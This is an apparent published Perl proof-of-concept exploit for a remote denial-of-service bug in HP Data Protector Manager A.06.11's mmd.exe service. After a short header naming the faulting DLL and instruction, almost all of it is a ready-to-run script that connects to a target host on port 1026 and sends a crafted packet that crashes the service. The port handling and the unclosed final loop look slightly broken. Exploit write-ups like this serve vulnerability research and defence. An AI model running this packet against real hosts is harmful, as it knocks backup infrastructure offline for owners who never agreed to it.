HP Data Protector Manager A.06.11 MMD - Null Pointer Dereference Denial of Service

#!/usr/bin/perl

# =================================
# HP Data Protector Manager A.06.11
# =================================
#
# Bug: NULL Pointer Dereference Remote Denial of Service Vulnerability
#
# Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html
#
# Date: 30/11/2010
# Author: Pepelux - pepelux[AT]enye-sec[DOT]com
#                   http://www.enye-sec.org - http://www.pepelux.org
#
# Service: mmd.exe (Media Management Daemon)
# Vulnerable file: \Program Files\OmniBack\bin\MSVCR71.dll
#
# MSVCR71.dll:7c350428 mov ax,[edx] caused access violation
# when attempting to read from 0x00000000
#
# Tested on Windows XP SP2

use IO::Socket;

my ($server, $port) = @ARGV ;

unless($ARGV[0] || $ARGV[1]) {
	print "Usage: perl $0 <host> [port]\n";
	print "\tdefault port = 1026\n\n";
	exit 1;
}

$port = 1026 if ($ARGV[0]);

my $buf = "\x00\x00\x00\x43\xfe\xff\x00\x32\x00\x36\x00\x37\x00\x00\x41\x41".
		  "\x00\x31\x00\x00\x42\x42\x00\x31\x00\x00\x43\x43\x00\x31\x00\x00".
		  "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44".
		  "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44".
		  "\xab\x7b\xde\x7c\x46\x4f\x4f";
		  
print "[+] Connecting to $server:$port ...\n";

my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");

while(1) {
print "[+] Sending malicious packet ...\n";
print $sock1 "$buf";
print "\n[x] Server crashed!\n"; 
exit;